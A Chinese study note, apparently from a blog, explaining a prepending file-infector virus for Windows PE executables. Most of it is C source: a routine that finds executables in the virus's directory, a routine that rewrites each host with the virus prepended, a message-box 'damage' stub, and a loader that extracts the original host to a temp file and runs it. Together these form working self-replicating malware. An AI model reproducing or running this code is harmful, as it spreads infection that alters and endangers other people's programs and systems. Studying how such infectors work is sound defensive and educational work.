前置病毒感染方式学习笔记

本文学习自:关于PE病毒的编写学习(一~六) by yangbostar

代码也来源于此,经过一些修改,还不是很完善。如没有添加感染标记,检查感染的文件是否已被感染过。

前置病毒,和资源感染类似,资源感染是病毒把宿主程序添加到程序的资源中,替换覆盖原程序,运行时将宿主程序释放成一个临时文件运行。前置病毒是读取病毒和宿主程序数据,然后将病毒和宿主程序数据再以病毒 --> 宿主程序的顺序写入宿主程序文件,运行时创建一个临时文件,读取程序中宿主程序的数据写入临时文件运行。
文件型病毒至少有这四个模块: 1> 条件模块:判断触发条件和寻找符合条件的宿主文件 2> 破坏模块: 3> 感染模块: 4> 宿主程序引导模块:将病毒的控制权移交给所触发病毒文件的宿主程序

BOOL IsPEFile(HANDLE hFIle)函数,它的作用是判断文件是否为PE格式文件。它把文件句柄作为参数,虽然许多函数需要文件句柄这个参数,但是作为对PE文件结构操作的函数,这样做是不恰当的,因为如果这样做就要频繁的使用SetFilePointer()、ReadFile()、WriteFile()。假若以文件指针作为参数,那么这一类关于PE结构文件操作的代码,将大大简化。

// 判断是否为PE文件
02.BOOL IsPeFile(PVOID ImageBase)
03.{
04.    if (NULL == ImageBase)
05.        return FALSE;
06.    PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
07.    if (IMAGE_DOS_SIGNATURE == pstDosHeader->e_magic)
08.    {
09.        PIMAGE_NT_HEADERS pstNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)ImageBase + pstDosHeader->e_lfanew);
10.        if (IMAGE_NT_SIGNATURE == pstNtHeader->Signature)
11.            return TRUE;
12.    }
13.    return FALSE;
14.} 

当然为了使文件以指针传入,需要将其映射到内存中,并且由于许多函数需要文件句柄,所以有以下结构:

typedef struct PEFileInformation//用这个名字是因为将来还要添加其他成员
02.{
03.    HANDLE hFile;
04.    HANDLE hMap;
05.    LPVOID ImageBase;
06.} PEINFORMATION, *PPEINFORMATION;  

1.条件模块:
    功能:搜索病毒文件所在目录中,规定数目的exe文件

PPEINFORMATION OpenHostFile(TCHAR *Top,
02.                            PPEINFORMATION pPeInfo,
03.                            WIN32_FIND_DATA *pWin32fd)
04.{
05.    TCHAR szPath[MAX_PATH];
06.    _tcsncpy(szPath, Top, MAX_PATH);
07.    _tcsncat(szPath, pWin32fd->cFileName, MAX_PATH - _tcslen(szPath) - 1);
08.    pPeInfo->hFile = CreateFile(szPath, GENERIC_READ | GENERIC_WRITE,
09.        FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
10.    if (INVALID_HANDLE_VALUE != pPeInfo->hFile)
11.    {
12.        pPeInfo->hMap = CreateFileMapping(pPeInfo->hFile, NULL, PAGE_READWRITE,
13.            0, 0, NULL);
14.        pPeInfo->ImageBase = MapViewOfFile(pPeInfo->hMap, FILE_MAP_READ | FILE_MAP_WRITE,
15.            0, 0, 0);
16.        if (NULL == pPeInfo->ImageBase)
17.            return NULL;
18.    }
19.    return pPeInfo;
20.}  
//搜索函数
02.// 函数说明:历遍该路径下的可执行文件
03.// 参    数:Top   文件路径   int nCount 搜索符合要求文件的最大数目  szHostFileHandle 将找到的符合要求文件句柄储存在这里
04.// 返 回 值:找到符合要求文件的数目
05.DWORD SearchHostFile(TCHAR *Top, int nCount, PHANDLE szHostFileHandle)
06.{
07.    WIN32_FIND_DATA fd;
08.    PEINFORMATION PeInfo = {0};
09.    DWORD nResult = 0;
10.
11.    TCHAR szPath[MAX_PATH];
12.    _tcsncpy(szPath, Top, MAX_PATH);
13.    _tcsncat(szPath, TEXT("*.*"), MAX_PATH - _tcslen(szPath) - 1);
14.    HANDLE hFind = FindFirstFile(szPath, &fd);
15.    if (INVALID_HANDLE_VALUE != hFind)
16.    {
17.        OpenHostFile(Top, &PeInfo, &fd);
18.        while (nResult < nCount)
19.        {
20.            // 如果是目录就递归搜索
21.            if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
22.            {
23.                if (fd.cFileName[0] != TEXT(‘.‘))
24.                    nResult = SearchHostFile(fd.cFileName, nCount, szHostFileHandle);
25.            }
26.            else
27.            {
28.                if (IsPeFile(PeInfo.ImageBase))
29.                {
30.                    szHostFileHandle[nResult] = PeInfo.hFile;
31.                    nResult++;
32.                }
33.            }
34.            // 撤销内存映射
35.            UnmapViewOfFile(PeInfo.ImageBase);
36.            CloseHandle(PeInfo.hMap);
37.            PeInfo.ImageBase = NULL;
38.            if (!FindNextFile(hFind, &fd))
39.                break;
40.            OpenHostFile(Top, &PeInfo, &fd);
41.            Sleep(0);
42.        }
43.    }
44.    return nResult;
45.}  

2.感染模块:

// 功能:将病毒文件注入宿主文件,将原宿主文件向后移动
02.// 定义病毒大小,使用全局变量是因为其它模块也要用到,32768是代码在VC2005  Debug模式下的生成文件大小
03.// 但并非都是这样,请自行确定,如果大小错误,那么感染后的文件运行会出错
04.DWORD dwVirusSize = 32768;
05.void Infect(HANDLE hHostFile, HANDLE hLocalFile)
06.{
07.    DWORD dwHostSize = GetFileSize(hHostFile, 0);
08.    DWORD dwReadBytes, dwWriteBytes;
09.
10.    BYTE *pLocalTempBuf = (BYTE *)malloc(dwVirusSize * sizeof(BYTE));
11.    BYTE *pHostTempBuf = (BYTE *)malloc(dwHostSize * sizeof(BYTE));
12.    ReadFile(hHostFile, pHostTempBuf, dwHostSize, &dwReadBytes, NULL);
13.    ReadFile(hLocalFile, pLocalTempBuf, dwVirusSize, &dwReadBytes, NULL);
14.    SetFilePointer(hHostFile, 0, 0, FILE_BEGIN);
15.    WriteFile(hHostFile, pLocalTempBuf, dwVirusSize, &dwWriteBytes, NULL);
16.    WriteFile(hHostFile, pHostTempBuf, dwHostSize, &dwWriteBytes, NULL);
17.    SetFilePointer(hHostFile, 0, 0, FILE_BEGIN);
18.    free(pLocalTempBuf);
19.    free(pHostTempBuf);
20.}  

3.破坏模块:

//  功能:仅仅打印提示。
02.void Destory(void)
03.{
04.    MessageBox(NULL, TEXT("这只是个测试 :)"), TEXT("Test"), MB_OK);
05.}  

4.宿主程序引导模块

// 功能:创建临时文件,将所触发的病毒文件的宿主程序写入,然后启动
02.// 宿主程序引导模块
03.void JumpLocalHostFile(HANDLE hLocalFile)
04.{
05.    DWORD nCount = 0;
06.
07.    // 获取感染后的宿主文件长度
08.    DWORD dwHostSize = GetFileSize(hLocalFile, 0);
09.    if (dwHostSize == dwVirusSize)
10.        return ;
11.
12.    // 申请一个宿主程序长度的缓存并读取宿主程序数据
13.    BYTE *pTemp = (BYTE *)malloc(dwHostSize - dwVirusSize * sizeof(BYTE));
14.    SetFilePointer(hLocalFile, dwVirusSize, 0, FILE_BEGIN);
15.    ReadFile(hLocalFile, pTemp, (dwHostSize - dwVirusSize), &nCount, NULL);
16.
17.    // 获取临时文件路径并和文件名连接
18.    TCHAR szLocalPath[MAX_PATH];
19.    TCHAR szTempPath[MAX_PATH];
20.    TCHAR szTempName[50];
21.    GetTempPath(MAX_PATH, szTempPath);
22.    GetModuleFileName(NULL, szLocalPath, MAX_PATH);
23.    GetFileTitle(szLocalPath, szTempName, 50);
24.    _tcsncat(szTempPath, szTempName, MAX_PATH - _tcslen(szTempPath) - 1);
25.
26.    // 在临时目录创建一个文件并写入数据
27.    HANDLE hJumpHost = CreateFile(szTempPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ,
28.        NULL, CREATE_ALWAYS, 0, NULL);
29.    if (INVALID_HANDLE_VALUE == hJumpHost)
30.        return ;
31.    WriteFile(hJumpHost, pTemp, dwHostSize - dwVirusSize, &nCount, NULL);
32.    free(pTemp);
33.    CloseHandle(hJumpHost);
34.
35.    // 运行宿主程序
36.    PROCESS_INFORMATION pi;
37.    STARTUPINFO si = {sizeof(si)};
38.    if (CreateProcess(szTempPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS,
39.        NULL, NULL, &si, &pi))
40.    {
41.        WaitForSingleObject(pi.hProcess, INFINITE);
42.        CloseHandle(pi.hProcess);
43.        CloseHandle(pi.hThread);
44.        DeleteFile(szTempPath);
45.    }
46.
47.}  

5.程序入口

#include "stdafx.h"
02.#include <windows.h>
03.#include <tchar.h>
04.
05.int APIENTRY _tWinMain(HINSTANCE hInstance,
06.                       HINSTANCE hPrevInstance,
07.                       LPTSTR    lpCmdLine,
08.                       int       nCmdShow)
09.{
10.    // 获取当前文件路径并打开文件
11.    TCHAR szLocalPath[MAX_PATH];
12.    GetModuleFileName(NULL, szLocalPath, MAX_PATH);
13.    HANDLE hFile = CreateFile(szLocalPath, GENERIC_READ, FILE_SHARE_READ, NULL,
14.        OPEN_EXISTING, 0, NULL);
15.    HANDLE szHostFileHandle[3];
16.
17.    // 去掉文件名保存目录
18.    TCHAR *pStr = szLocalPath;
19.    int nLen = _tcslen(szLocalPath);
20.    pStr += nLen;
21.    while (*(pStr - 1)!= TEXT(‘\\‘))
22.        pStr--;
23.    *pStr = TEXT(‘\0‘);
24.
25.    // 搜索文件和注入
26.    DWORD dwFoundFileNumber = SearchHostFile(szLocalPath, 3, szHostFileHandle);
27.    for (int i = 0; i < dwFoundFileNumber; i++)
28.    {
29.        Infect(szHostFileHandle[i], hFile);
30.        CloseHandle(szHostFileHandle[i]);
31.    }
32.    Destory();
33.
34.    // 运行宿主程序
35.    JumpLocalHostFile(hFile);
36.    CloseHandle(hFile);
37.    return 0;
38.}   
时间: 2024-10-03 22:29:13

前置病毒感染方式学习笔记的相关文章

PHP 数据库驱动、连接数据不同方式学习笔记

相关学习资料 http://www.php.net/manual/zh/refs.database.php http://www.php.net/manual/zh/internals2.pdo.php http://bbs.phpchina.com/thread-184537-1-1.html http://www.metsky.com/archives/660.html http://www.phpbuilder.com/ http://www.w3school.com.cn/php/php

病毒资源感染方式学习笔记

本文学习自:关于感染型病毒的那些事(三) by gaa_ra 代码也来自gaa_ra 资源感染,就是将宿主程序作为病毒程序的一个资源来保存,将附加了宿主程序的病毒程序覆盖原来的宿主程序,当打开病毒文件时,病毒发作并将宿主程序释放出来运行. 进行资源感染后,打开感染文件的过程大致如下: CreateFile创建资源文件,用于存放要被释放出来的宿主文件 --> FindResource查找该资源 --> LoadResource --> SizeofResource --> Write

输入数字 判断正负个数 三种方式 学习笔记

import java.util.Scanner; class  TestExer{ public static void main(String[] args) { Scanner s= new Scanner(System.in); int a = 0; int b = 0; //for(;;){  for 无限循环 输入0 终止 while(true){  //for无限循环改为while无限循环 输入0终止 System.out.println("请输入一个整数"); int 

[原创]java WEB学习笔记44:Filter 简介,模型,创建,工作原理,相关API,过滤器的部署及映射的方式,Demo

本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱好者,互联网技术发烧友 微博:伊直都在0221 QQ:951226918 ---------------------------------

学习笔记之TCP/IP协议的传输方式

一.通过网络发送数据,大致可以分为面向有连接与面向无连接两种类型: 1.面向无连接型包括以太网. IP.UDP等协议. 2. 面向有连接 型包括ATM.帧中继.TCP等 协议. 通过一张图了解一下: 面向有连接型 面向有连接型中,在发送数据之前,需要在收发主机之间连接一条通信线路 面向有连接型就好比人们平常打电话,输入完对方电话号码拨出之后,只有 对端拿起电话才能真正通话,通话结束后将电话机扣上就如同切断电源.因此在 面向有连接的方式下,必须在通信传输前后,专门进行建立和断开连接的处理.如果与对

[原创]java WEB学习笔记89:Hibernate学习之路-- -Hibernate检索方式(5种),HQL介绍,实现功能,实现步骤,

本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱好者,互联网技术发烧友 微博:伊直都在0221 QQ:951226918 -----------------------------------------------------------------------------------------------------------------

[原创]java WEB学习笔记84:Hibernate学习之路-- -映射 一对一关系 ,基外键的方式实现

本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱好者,互联网技术发烧友 微博:伊直都在0221 QQ:951226918 -----------------------------------------------------------------------------------------------------------------

树莓派学习笔记—— 源代码方式安装opencv

0.前言 本文介绍如何在树莓派中通过编译源代码的方式安装opencv,并通过一个简单的例子说明如何使用opencv. 更多内容请参考--[树莓派学习笔记--索引博文] 1.下载若干依赖项     在开始安装之前,最好更新树莓派软件源.如果更新时间太长,请参考博文修改软件源网络地址--[树莓派学习笔记--修改树莓派软件源] sudo apt-get update 请依次安装以下依赖项,这些必须安装的依赖项来自于opencv官网的说明,在多数debian系统中都可以采用这种方式进行安装.其实在树莓派

[原创]java WEB学习笔记90:Hibernate学习之路-- -HQL检索方式,分页查询,命名查询语句,投影查询,报表查询

本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱好者,互联网技术发烧友 微博:伊直都在0221 QQ:951226918 -----------------------------------------------------------------------------------------------------------------